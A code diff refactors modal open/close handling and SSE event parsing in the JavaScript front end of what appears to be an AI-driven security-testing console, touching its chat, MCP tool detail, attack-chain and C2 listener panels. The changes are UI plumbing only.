'</div>' +
|
'<span class="modal-close" onclick="closeAuditDetailModal()">×</span>' +
|
||||||
'<div class="modal-body audit-detail-body">' +
|
'</div>' +
|
||||||
'<p><strong>' + esc(auditT('settingsAudit.detailTime', null, '时间')) + ':</strong> ' + esc(formatAuditTime(log.createdAt)) + '</p>' +
|
'<div class="modal-body audit-detail-body">' +
|
||||||
'<p><strong>' + esc(auditT('settingsAudit.detailCategory', null, '类别')) + ':</strong> ' + catAction + '</p>' +
|
'<p><strong>' + esc(auditT('settingsAudit.detailTime', null, '时间')) + ':</strong> ' + esc(formatAuditTime(log.createdAt)) + '</p>' +
|
||||||
'<p><strong>' + esc(auditT('settingsAudit.detailResult', null, '结果')) + ':</strong> ' + esc(log.result || '') + '</p>' +
|
'<p><strong>' + esc(auditT('settingsAudit.detailCategory', null, '类别')) + ':</strong> ' + catAction + '</p>' +
|
||||||
'<p><strong>' + esc(auditT('settingsAudit.detailMessage', null, '说明')) + ':</strong> ' + esc(log.message || '') + '</p>' +
|
'<p><strong>' + esc(auditT('settingsAudit.detailResult', null, '结果')) + ':</strong> ' + esc(log.result || '') + '</p>' +
|
||||||
(log.clientIp ? '<p><strong>IP:</strong> ' + esc(log.clientIp) + '</p>' : '') +
|
'<p><strong>' + esc(auditT('settingsAudit.detailMessage', null, '说明')) + ':</strong> ' + esc(log.message || '') + '</p>' +
|
||||||
(log.sessionHint ? '<p><strong>' + esc(auditT('settingsAudit.detailSession', null, '会话')) + ':</strong> ' + esc(log.sessionHint) + '</p>' : '') +
|
(log.clientIp ? '<p><strong>IP:</strong> ' + esc(log.clientIp) + '</p>' : '') +
|
||||||
(log.userAgent ? '<p><strong>UA:</strong> ' + esc(log.userAgent) + '</p>' : '') +
|
(log.sessionHint ? '<p><strong>' + esc(auditT('settingsAudit.detailSession', null, '会话')) + ':</strong> ' + esc(log.sessionHint) + '</p>' : '') +
|
||||||
auditResourceMeta(log) +
|
(log.userAgent ? '<p><strong>UA:</strong> ' + esc(log.userAgent) + '</p>' : '') +
|
||||||
(detail ? '<pre class="audit-detail-pre">' + esc(detail) + '</pre>' : '') +
|
auditResourceMeta(log) +
|
||||||
'</div>' +
|
(detail ? '<pre class="audit-detail-pre">' + esc(detail) + '</pre>' : '') +
|
||||||
'<div class="modal-footer"><button type="button" class="btn-secondary" onclick="closeAuditDetailModal()">' +
|
'</div>' +
|
||||||
esc(auditT('common.close', null, '关闭')) + '</button></div>' +
|
'<div class="modal-footer"><button type="button" class="btn-secondary" onclick="closeAuditDetailModal()">' +
|
||||||
'</div>';
|
esc(auditT('common.close', null, '关闭')) + '</button></div>' +
|
||||||
document.body.appendChild(overlay);
|
'</div>';
|
||||||
const chatBtn = overlay.querySelector('.audit-open-chat-btn');
|
const chatBtn = overlay.querySelector('.audit-open-chat-btn');
|
||||||
if (chatBtn) {
|
if (chatBtn) {
|
||||||
chatBtn.addEventListener('click', function () {
|
chatBtn.addEventListener('click', function () {
|
||||||
auditOpenConversationChat(chatBtn.getAttribute('data-conversation-id'));
|
auditOpenConversationChat(chatBtn.getAttribute('data-conversation-id'));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
overlay.addEventListener('click', function (ev) {
|
||||||
|
if (ev.target === overlay) closeAuditDetailModal();
|
||||||
});
|
});
|
||||||
}
|
|
||||||
overlay.addEventListener('click', function (ev) {
|
|
||||||
if (ev.target === overlay) closeAuditDetailModal();
|
|
||||||
});
|
});
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
closeAuditDetailModal();
|
||||||
if (typeof showToast === 'function') {
|
if (typeof showToast === 'function') {
|
||||||
showToast(e.message || String(e), 'error');
|
showToast(e.message || String(e), 'error');
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -72,7 +72,7 @@ function showLoginOverlay(message = '') {
|
|||||||
if (!overlay) {
|
if (!overlay) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
overlay.style.display = 'flex';
|
openAppModal('login-overlay', { focus: false });
|
||||||
if (errorBox) {
|
if (errorBox) {
|
||||||
if (message) {
|
if (message) {
|
||||||
errorBox.textContent = message;
|
errorBox.textContent = message;
|
||||||
@@ -82,7 +82,7 @@ function showLoginOverlay(message = '') {
|
|||||||
errorBox.style.display = 'none';
|
errorBox.style.display = 'none';
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
setTimeout(() => {
|
setTimeout(function () {
|
||||||
if (passwordInput) {
|
if (passwordInput) {
|
||||||
passwordInput.focus();
|
passwordInput.focus();
|
||||||
}
|
}
|
||||||
@@ -93,9 +93,7 @@ function hideLoginOverlay() {
|
|||||||
const overlay = document.getElementById('login-overlay');
|
const overlay = document.getElementById('login-overlay');
|
||||||
const errorBox = document.getElementById('login-error');
|
const errorBox = document.getElementById('login-error');
|
||||||
const passwordInput = document.getElementById('login-password');
|
const passwordInput = document.getElementById('login-password');
|
||||||
if (overlay) {
|
closeAppModal('login-overlay');
|
||||||
overlay.style.display = 'none';
|
|
||||||
}
|
|
||||||
if (errorBox) {
|
if (errorBox) {
|
||||||
errorBox.textContent = '';
|
errorBox.textContent = '';
|
||||||
errorBox.style.display = 'none';
|
errorBox.style.display = 'none';
|
||||||
|
|||||||
+5
-5
@@ -478,7 +478,7 @@
|
|||||||
const content = document.getElementById('c2-modal-content');
|
const content = document.getElementById('c2-modal-content');
|
||||||
if (!content || !modal) return;
|
if (!content || !modal) return;
|
||||||
|
|
||||||
modal.style.display = 'flex';
|
openAppModal(modal);
|
||||||
content.innerHTML = `
|
content.innerHTML = `
|
||||||
<div class="c2-modal-header">
|
<div class="c2-modal-header">
|
||||||
<h3>${escapeHtml(c2t('c2.listeners.modalCreateTitle'))}</h3>
|
<h3>${escapeHtml(c2t('c2.listeners.modalCreateTitle'))}</h3>
|
||||||
@@ -635,7 +635,7 @@
|
|||||||
const content = document.getElementById('c2-modal-content');
|
const content = document.getElementById('c2-modal-content');
|
||||||
if (!content || !modal) return;
|
if (!content || !modal) return;
|
||||||
|
|
||||||
modal.style.display = 'flex';
|
openAppModal(modal);
|
||||||
content.innerHTML = `
|
content.innerHTML = `
|
||||||
<div class="c2-modal-header">
|
<div class="c2-modal-header">
|
||||||
<h3>${escapeHtml(c2t('c2.listeners.editTitle'))}</h3>
|
<h3>${escapeHtml(c2t('c2.listeners.editTitle'))}</h3>
|
||||||
@@ -2376,7 +2376,7 @@
|
|||||||
<button class="btn-secondary" onclick="C2.closeModal()">${escapeHtml(c2t('common.close'))}</button>
|
<button class="btn-secondary" onclick="C2.closeModal()">${escapeHtml(c2t('common.close'))}</button>
|
||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
modal.style.display = 'flex';
|
openAppModal(modal);
|
||||||
};
|
};
|
||||||
|
|
||||||
const local = C2.tasks.find(x => x.id === id);
|
const local = C2.tasks.find(x => x.id === id);
|
||||||
@@ -2920,7 +2920,7 @@
|
|||||||
<button class="btn-primary" onclick="C2.createProfile()">${escapeHtml(c2t('c2.profiles.submitCreate'))}</button>
|
<button class="btn-primary" onclick="C2.createProfile()">${escapeHtml(c2t('c2.profiles.submitCreate'))}</button>
|
||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
modal.style.display = 'flex';
|
openAppModal(modal);
|
||||||
};
|
};
|
||||||
|
|
||||||
C2.createProfile = function() {
|
C2.createProfile = function() {
|
||||||
@@ -2981,10 +2981,10 @@
|
|||||||
C2.closeModal = function() {
|
C2.closeModal = function() {
|
||||||
const modal = document.getElementById('c2-modal');
|
const modal = document.getElementById('c2-modal');
|
||||||
if (modal) {
|
if (modal) {
|
||||||
modal.style.display = 'none';
|
|
||||||
const modalBox = modal.querySelector('.c2-modal');
|
const modalBox = modal.querySelector('.c2-modal');
|
||||||
if (modalBox) modalBox.classList.remove('c2-modal--wide');
|
if (modalBox) modalBox.classList.remove('c2-modal--wide');
|
||||||
}
|
}
|
||||||
|
closeAppModal('c2-modal');
|
||||||
};
|
};
|
||||||
|
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|||||||
+12
-11
@@ -1002,7 +1002,7 @@ async function openChatFilesEdit(relativePath) {
|
|||||||
const modal = document.getElementById('chat-files-edit-modal');
|
const modal = document.getElementById('chat-files-edit-modal');
|
||||||
if (pathEl) pathEl.textContent = relativePath;
|
if (pathEl) pathEl.textContent = relativePath;
|
||||||
if (ta) ta.value = '';
|
if (ta) ta.value = '';
|
||||||
if (modal) modal.style.display = 'block';
|
openAppModal('chat-files-edit-modal', { focus: false });
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const res = await apiFetch('/api/chat-uploads/content?path=' + encodeURIComponent(relativePath));
|
const res = await apiFetch('/api/chat-uploads/content?path=' + encodeURIComponent(relativePath));
|
||||||
@@ -1017,16 +1017,19 @@ async function openChatFilesEdit(relativePath) {
|
|||||||
throw new Error(errText || res.status);
|
throw new Error(errText || res.status);
|
||||||
}
|
}
|
||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
if (ta) ta.value = data.content != null ? String(data.content) : '';
|
const content = data.content != null ? String(data.content) : '';
|
||||||
|
deferModalContent(() => {
|
||||||
|
if (ta) ta.value = content;
|
||||||
|
ta?.focus();
|
||||||
|
});
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
if (modal) modal.style.display = 'none';
|
closeAppModal('chat-files-edit-modal');
|
||||||
alert(chatFilesAlertMessage(e && e.message));
|
alert(chatFilesAlertMessage(e && e.message));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeChatFilesEditModal() {
|
function closeChatFilesEditModal() {
|
||||||
const modal = document.getElementById('chat-files-edit-modal');
|
closeAppModal('chat-files-edit-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
chatFilesEditRelativePath = '';
|
chatFilesEditRelativePath = '';
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1060,7 +1063,7 @@ function openChatFilesRename(relativePath, currentName) {
|
|||||||
input.value = currentName || '';
|
input.value = currentName || '';
|
||||||
input.select();
|
input.select();
|
||||||
}
|
}
|
||||||
if (modal) modal.style.display = 'flex';
|
if (modal) openAppModal(modal);
|
||||||
if (modal && typeof window.applyTranslations === 'function') {
|
if (modal && typeof window.applyTranslations === 'function') {
|
||||||
window.applyTranslations(modal);
|
window.applyTranslations(modal);
|
||||||
}
|
}
|
||||||
@@ -1068,8 +1071,7 @@ function openChatFilesRename(relativePath, currentName) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function closeChatFilesRenameModal() {
|
function closeChatFilesRenameModal() {
|
||||||
const modal = document.getElementById('chat-files-rename-modal');
|
closeAppModal('chat-files-rename-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
const hint = document.getElementById('chat-files-rename-path-hint');
|
const hint = document.getElementById('chat-files-rename-path-hint');
|
||||||
if (hint) hint.textContent = '';
|
if (hint) hint.textContent = '';
|
||||||
chatFilesRenameRelativePath = '';
|
chatFilesRenameRelativePath = '';
|
||||||
@@ -1106,7 +1108,7 @@ function openChatFilesMkdirModal() {
|
|||||||
const p = chatFilesBrowsePath.join('/');
|
const p = chatFilesBrowsePath.join('/');
|
||||||
if (hint) hint.textContent = p ? ('chat_uploads/' + p) : 'chat_uploads';
|
if (hint) hint.textContent = p ? ('chat_uploads/' + p) : 'chat_uploads';
|
||||||
if (input) input.value = '';
|
if (input) input.value = '';
|
||||||
if (modal) modal.style.display = 'flex';
|
if (modal) openAppModal(modal);
|
||||||
if (modal && typeof window.applyTranslations === 'function') {
|
if (modal && typeof window.applyTranslations === 'function') {
|
||||||
window.applyTranslations(modal);
|
window.applyTranslations(modal);
|
||||||
}
|
}
|
||||||
@@ -1116,8 +1118,7 @@ function openChatFilesMkdirModal() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function closeChatFilesMkdirModal() {
|
function closeChatFilesMkdirModal() {
|
||||||
const modal = document.getElementById('chat-files-mkdir-modal');
|
closeAppModal('chat-files-mkdir-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
const input = document.getElementById('chat-files-mkdir-input');
|
const input = document.getElementById('chat-files-mkdir-input');
|
||||||
if (input) input.value = '';
|
if (input) input.value = '';
|
||||||
}
|
}
|
||||||
|
|||||||
+56
-76
@@ -982,6 +982,24 @@ async function sendMessage() {
|
|||||||
const reader = response.body.getReader();
|
const reader = response.body.getReader();
|
||||||
const decoder = new TextDecoder();
|
const decoder = new TextDecoder();
|
||||||
let buffer = '';
|
let buffer = '';
|
||||||
|
const dispatchStreamEvent = function (eventData) {
|
||||||
|
handleStreamEvent(eventData, progressElement, progressId,
|
||||||
|
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
||||||
|
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
||||||
|
};
|
||||||
|
const processSseLines = typeof processSseDataLinesYielding === 'function'
|
||||||
|
? processSseDataLinesYielding
|
||||||
|
: async function (lines, onEvent) {
|
||||||
|
for (const line of lines) {
|
||||||
|
if (line.startsWith('data: ')) {
|
||||||
|
try {
|
||||||
|
onEvent(JSON.parse(line.slice(6)));
|
||||||
|
} catch (e) {
|
||||||
|
console.error('解析事件数据失败:', e, line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
const { done, value } = await reader.read();
|
const { done, value } = await reader.read();
|
||||||
@@ -991,18 +1009,7 @@ async function sendMessage() {
|
|||||||
const lines = buffer.split('\n');
|
const lines = buffer.split('\n');
|
||||||
buffer = lines.pop(); // 保留最后一个不完整的行
|
buffer = lines.pop(); // 保留最后一个不完整的行
|
||||||
|
|
||||||
for (const line of lines) {
|
await processSseLines(lines, dispatchStreamEvent);
|
||||||
if (line.startsWith('data: ')) {
|
|
||||||
try {
|
|
||||||
const eventData = JSON.parse(line.slice(6));
|
|
||||||
handleStreamEvent(eventData, progressElement, progressId,
|
|
||||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
|
||||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('解析事件数据失败:', e, line);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
// Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
|
// Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
|
||||||
buffer += decoder.decode();
|
buffer += decoder.decode();
|
||||||
@@ -1010,18 +1017,7 @@ async function sendMessage() {
|
|||||||
// 处理剩余的buffer
|
// 处理剩余的buffer
|
||||||
if (buffer.trim()) {
|
if (buffer.trim()) {
|
||||||
const lines = buffer.split('\n');
|
const lines = buffer.split('\n');
|
||||||
for (const line of lines) {
|
await processSseLines(lines, dispatchStreamEvent);
|
||||||
if (line.startsWith('data: ')) {
|
|
||||||
try {
|
|
||||||
const eventData = JSON.parse(line.slice(6));
|
|
||||||
handleStreamEvent(eventData, progressElement, progressId,
|
|
||||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
|
||||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('解析事件数据失败:', e, line);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} finally {
|
} finally {
|
||||||
window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null };
|
window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null };
|
||||||
@@ -2384,6 +2380,10 @@ function renderProcessDetails(messageId, processDetails) {
|
|||||||
itemTitle = agPx + execLine;
|
itemTitle = agPx + execLine;
|
||||||
} else if (eventType === 'eino_agent_reply') {
|
} else if (eventType === 'eino_agent_reply') {
|
||||||
itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
|
itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
|
||||||
|
} else if (eventType === 'eino_empty_response_continue') {
|
||||||
|
itemTitle = typeof window.t === 'function'
|
||||||
|
? window.t('chat.einoEmptyResponseContinueTitle')
|
||||||
|
: '🔁 自动续跑(无助手正文)';
|
||||||
} else if (eventType === 'eino_run_retry') {
|
} else if (eventType === 'eino_run_retry') {
|
||||||
itemTitle = typeof window.t === 'function'
|
itemTitle = typeof window.t === 'function'
|
||||||
? window.t('chat.einoRunRetryTitle')
|
? window.t('chat.einoRunRetryTitle')
|
||||||
@@ -2535,10 +2535,17 @@ async function batchUpdateButtonToolNames(buttonsContainer, executionIds) {
|
|||||||
// 显示MCP调用详情
|
// 显示MCP调用详情
|
||||||
async function showMCPDetail(executionId) {
|
async function showMCPDetail(executionId) {
|
||||||
try {
|
try {
|
||||||
|
openAppModal('mcp-detail-modal', { focus: false });
|
||||||
const response = await apiFetch(`/api/monitor/execution/${executionId}`);
|
const response = await apiFetch(`/api/monitor/execution/${executionId}`);
|
||||||
const exec = await response.json();
|
const exec = await response.json();
|
||||||
|
|
||||||
if (response.ok) {
|
if (!response.ok) {
|
||||||
|
closeMCPDetail();
|
||||||
|
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + (exec.error || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : '未知错误')));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
deferModalContent(function () {
|
||||||
// 填充模态框内容
|
// 填充模态框内容
|
||||||
document.getElementById('detail-tool-name').textContent = exec.toolName || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : 'Unknown');
|
document.getElementById('detail-tool-name').textContent = exec.toolName || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : 'Unknown');
|
||||||
document.getElementById('detail-execution-id').textContent = exec.id || 'N/A';
|
document.getElementById('detail-execution-id').textContent = exec.id || 'N/A';
|
||||||
@@ -2645,20 +2652,16 @@ async function showMCPDetail(executionId) {
|
|||||||
delete abortBtn.dataset.execId;
|
delete abortBtn.dataset.execId;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
});
|
||||||
// 显示模态框
|
|
||||||
document.getElementById('mcp-detail-modal').style.display = 'block';
|
|
||||||
} else {
|
|
||||||
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + (exec.error || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : '未知错误')));
|
|
||||||
}
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeMCPDetail();
|
||||||
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + error.message);
|
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + error.message);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭MCP详情模态框
|
// 关闭MCP详情模态框
|
||||||
function closeMCPDetail() {
|
function closeMCPDetail() {
|
||||||
document.getElementById('mcp-detail-modal').style.display = 'none';
|
closeAppModal('mcp-detail-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 从详情模态框触发:取消当前进行中的 MCP 工具调用 */
|
/** 从详情模态框触发:取消当前进行中的 MCP 工具调用 */
|
||||||
@@ -2682,18 +2685,12 @@ function openMcpToolAbortModal(executionId, options = {}) {
|
|||||||
if (ta) {
|
if (ta) {
|
||||||
ta.value = '';
|
ta.value = '';
|
||||||
}
|
}
|
||||||
const m = document.getElementById('mcp-tool-abort-modal');
|
openAppModal('mcp-tool-abort-modal');
|
||||||
if (m) {
|
|
||||||
m.style.display = 'block';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeMcpToolAbortModal() {
|
function closeMcpToolAbortModal() {
|
||||||
window.__mcpToolAbortContext = null;
|
window.__mcpToolAbortContext = null;
|
||||||
const m = document.getElementById('mcp-tool-abort-modal');
|
closeAppModal('mcp-tool-abort-modal');
|
||||||
if (m) {
|
|
||||||
m.style.display = 'none';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
async function submitMcpToolAbortModal() {
|
async function submitMcpToolAbortModal() {
|
||||||
@@ -2846,10 +2843,12 @@ async function startNewConversation() {
|
|||||||
} catch (e) { /* ignore */ }
|
} catch (e) { /* ignore */ }
|
||||||
currentConversationGroupId = null; // 新对话不属于任何分组
|
currentConversationGroupId = null; // 新对话不属于任何分组
|
||||||
if (typeof ensureDefaultActiveProjectForNewChat === 'function') {
|
if (typeof ensureDefaultActiveProjectForNewChat === 'function') {
|
||||||
ensureDefaultActiveProjectForNewChat().catch(() => {});
|
try {
|
||||||
|
await ensureDefaultActiveProjectForNewChat();
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
}
|
}
|
||||||
if (typeof refreshChatProjectSelector === 'function') {
|
if (typeof refreshChatProjectSelector === 'function') {
|
||||||
refreshChatProjectSelector();
|
await refreshChatProjectSelector();
|
||||||
}
|
}
|
||||||
document.getElementById('chat-messages').innerHTML = '';
|
document.getElementById('chat-messages').innerHTML = '';
|
||||||
const readyMsgNew = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
|
const readyMsgNew = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
|
||||||
@@ -3125,7 +3124,7 @@ async function loadConversation(conversationId) {
|
|||||||
|
|
||||||
// 如果攻击链模态框打开且显示的不是当前对话,关闭它
|
// 如果攻击链模态框打开且显示的不是当前对话,关闭它
|
||||||
const attackChainModal = document.getElementById('attack-chain-modal');
|
const attackChainModal = document.getElementById('attack-chain-modal');
|
||||||
if (attackChainModal && attackChainModal.style.display === 'block') {
|
if (attackChainModal && isAppModalOpen('attack-chain-modal')) {
|
||||||
if (currentAttackChainConversationId !== conversationId) {
|
if (currentAttackChainConversationId !== conversationId) {
|
||||||
closeAttackChainModal();
|
closeAttackChainModal();
|
||||||
}
|
}
|
||||||
@@ -3369,7 +3368,7 @@ async function deleteConversationTurnFromUI(anchorBackendMessageId) {
|
|||||||
async function deleteConversation(conversationId, skipConfirm = false) {
|
async function deleteConversation(conversationId, skipConfirm = false) {
|
||||||
// 确认删除(如果调用者没有跳过确认)
|
// 确认删除(如果调用者没有跳过确认)
|
||||||
if (!skipConfirm) {
|
if (!skipConfirm) {
|
||||||
if (!confirm('确定要删除这个对话吗?此操作不可恢复。')) {
|
if (!confirm('确定要删除这个对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。')) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -3415,7 +3414,7 @@ async function deleteConversation(conversationId, skipConfirm = false) {
|
|||||||
|
|
||||||
// 批量管理弹窗打开时,同步刷新弹窗内列表
|
// 批量管理弹窗打开时,同步刷新弹窗内列表
|
||||||
const batchModal = document.getElementById('batch-manage-modal');
|
const batchModal = document.getElementById('batch-manage-modal');
|
||||||
if (batchModal && batchModal.style.display === 'flex') {
|
if (batchModal && isAppModalOpen('batch-manage-modal')) {
|
||||||
allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
|
allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
|
||||||
updateBatchManageTitle(allConversationsForBatch.length);
|
updateBatchManageTitle(allConversationsForBatch.length);
|
||||||
const searchInput = document.getElementById('batch-search-input');
|
const searchInput = document.getElementById('batch-search-input');
|
||||||
@@ -3522,7 +3521,7 @@ async function showAttackChain(conversationId) {
|
|||||||
if (isAttackChainLoading(conversationId) && currentAttackChainConversationId === conversationId) {
|
if (isAttackChainLoading(conversationId) && currentAttackChainConversationId === conversationId) {
|
||||||
// 如果模态框已经打开且显示的是同一个对话,不重复打开
|
// 如果模态框已经打开且显示的是同一个对话,不重复打开
|
||||||
const modal = document.getElementById('attack-chain-modal');
|
const modal = document.getElementById('attack-chain-modal');
|
||||||
if (modal && modal.style.display === 'block') {
|
if (modal && isAppModalOpen('attack-chain-modal')) {
|
||||||
console.log('攻击链正在加载中,模态框已打开');
|
console.log('攻击链正在加载中,模态框已打开');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -3535,8 +3534,7 @@ async function showAttackChain(conversationId) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
modal.style.display = 'block';
|
openAppModal('attack-chain-modal', { focus: false });
|
||||||
// 打开时立即按当前语言刷新统计(避免红框内仍显示硬编码中文)
|
|
||||||
updateAttackChainStats({ nodes: [], edges: [] });
|
updateAttackChainStats({ nodes: [], edges: [] });
|
||||||
|
|
||||||
// 清空容器
|
// 清空容器
|
||||||
@@ -4668,10 +4666,7 @@ function closeNodeDetails() {
|
|||||||
|
|
||||||
// 关闭攻击链模态框
|
// 关闭攻击链模态框
|
||||||
function closeAttackChainModal() {
|
function closeAttackChainModal() {
|
||||||
const modal = document.getElementById('attack-chain-modal');
|
closeAppModal('attack-chain-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
|
|
||||||
// 关闭节点详情
|
// 关闭节点详情
|
||||||
closeNodeDetails();
|
closeNodeDetails();
|
||||||
@@ -7214,19 +7209,14 @@ async function showBatchManageModal() {
|
|||||||
updateBatchManageTitle(allConversationsForBatch.length);
|
updateBatchManageTitle(allConversationsForBatch.length);
|
||||||
|
|
||||||
renderBatchConversations();
|
renderBatchConversations();
|
||||||
if (modal) {
|
openAppModal('batch-manage-modal');
|
||||||
modal.style.display = 'flex';
|
|
||||||
}
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('加载对话列表失败:', error);
|
console.error('加载对话列表失败:', error);
|
||||||
// 错误时使用空数组,不显示错误提示(更友好的用户体验)
|
// 错误时使用空数组,不显示错误提示(更友好的用户体验)
|
||||||
allConversationsForBatch = [];
|
allConversationsForBatch = [];
|
||||||
const modal = document.getElementById('batch-manage-modal');
|
|
||||||
updateBatchManageTitle(0);
|
updateBatchManageTitle(0);
|
||||||
if (modal) {
|
renderBatchConversations();
|
||||||
renderBatchConversations();
|
openAppModal('batch-manage-modal');
|
||||||
modal.style.display = 'flex';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -7381,10 +7371,7 @@ async function deleteSelectedConversations() {
|
|||||||
|
|
||||||
// 关闭批量管理模态框
|
// 关闭批量管理模态框
|
||||||
function closeBatchManageModal() {
|
function closeBatchManageModal() {
|
||||||
const modal = document.getElementById('batch-manage-modal');
|
closeAppModal('batch-manage-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
const selectAll = document.getElementById('batch-select-all');
|
const selectAll = document.getElementById('batch-select-all');
|
||||||
if (selectAll) {
|
if (selectAll) {
|
||||||
selectAll.checked = false;
|
selectAll.checked = false;
|
||||||
@@ -7424,8 +7411,7 @@ function refreshChatPanelI18n() {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
const mcpModal = document.getElementById('mcp-detail-modal');
|
if (isAppModalOpen('mcp-detail-modal')) {
|
||||||
if (mcpModal && mcpModal.style.display === 'block') {
|
|
||||||
const detailTimeEl = document.getElementById('detail-time');
|
const detailTimeEl = document.getElementById('detail-time');
|
||||||
if (detailTimeEl && detailTimeEl.dataset.detailTimeIso) {
|
if (detailTimeEl && detailTimeEl.dataset.detailTimeIso) {
|
||||||
try {
|
try {
|
||||||
@@ -7447,7 +7433,7 @@ document.addEventListener('languagechange', function () {
|
|||||||
refreshSystemReadyMessageBubbles();
|
refreshSystemReadyMessageBubbles();
|
||||||
refreshChatPanelI18n();
|
refreshChatPanelI18n();
|
||||||
const modal = document.getElementById('batch-manage-modal');
|
const modal = document.getElementById('batch-manage-modal');
|
||||||
if (modal && modal.style.display === 'flex') {
|
if (isAppModalOpen('batch-manage-modal')) {
|
||||||
updateBatchManageTitle(allConversationsForBatch.length);
|
updateBatchManageTitle(allConversationsForBatch.length);
|
||||||
}
|
}
|
||||||
// 侧边栏最近对话等列表的时间戳会随语言变化(24h/12h 等),重新拉列表以统一格式
|
// 侧边栏最近对话等列表的时间戳会随语言变化(24h/12h 等),重新拉列表以统一格式
|
||||||
@@ -7482,20 +7468,14 @@ function showCreateGroupModal(andMoveConversation = false) {
|
|||||||
iconPicker.style.display = 'none';
|
iconPicker.style.display = 'none';
|
||||||
}
|
}
|
||||||
if (modal) {
|
if (modal) {
|
||||||
modal.style.display = 'flex';
|
openAppModal('create-group-modal', { focusEl: input });
|
||||||
modal.dataset.moveConversation = andMoveConversation ? 'true' : 'false';
|
modal.dataset.moveConversation = andMoveConversation ? 'true' : 'false';
|
||||||
if (input) {
|
|
||||||
setTimeout(() => input.focus(), 100);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭创建分组模态框
|
// 关闭创建分组模态框
|
||||||
function closeCreateGroupModal() {
|
function closeCreateGroupModal() {
|
||||||
const modal = document.getElementById('create-group-modal');
|
closeAppModal('create-group-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
const input = document.getElementById('create-group-name-input');
|
const input = document.getElementById('create-group-name-input');
|
||||||
if (input) {
|
if (input) {
|
||||||
input.value = '';
|
input.value = '';
|
||||||
|
|||||||
@@ -131,7 +131,7 @@ async function refreshDashboard() {
|
|||||||
openVulnQuery('low'),
|
openVulnQuery('low'),
|
||||||
// 拉取 MCP 工具的「配置总数」用于「能力总览」(区别于 monitor/stats 的「有调用记录」)。
|
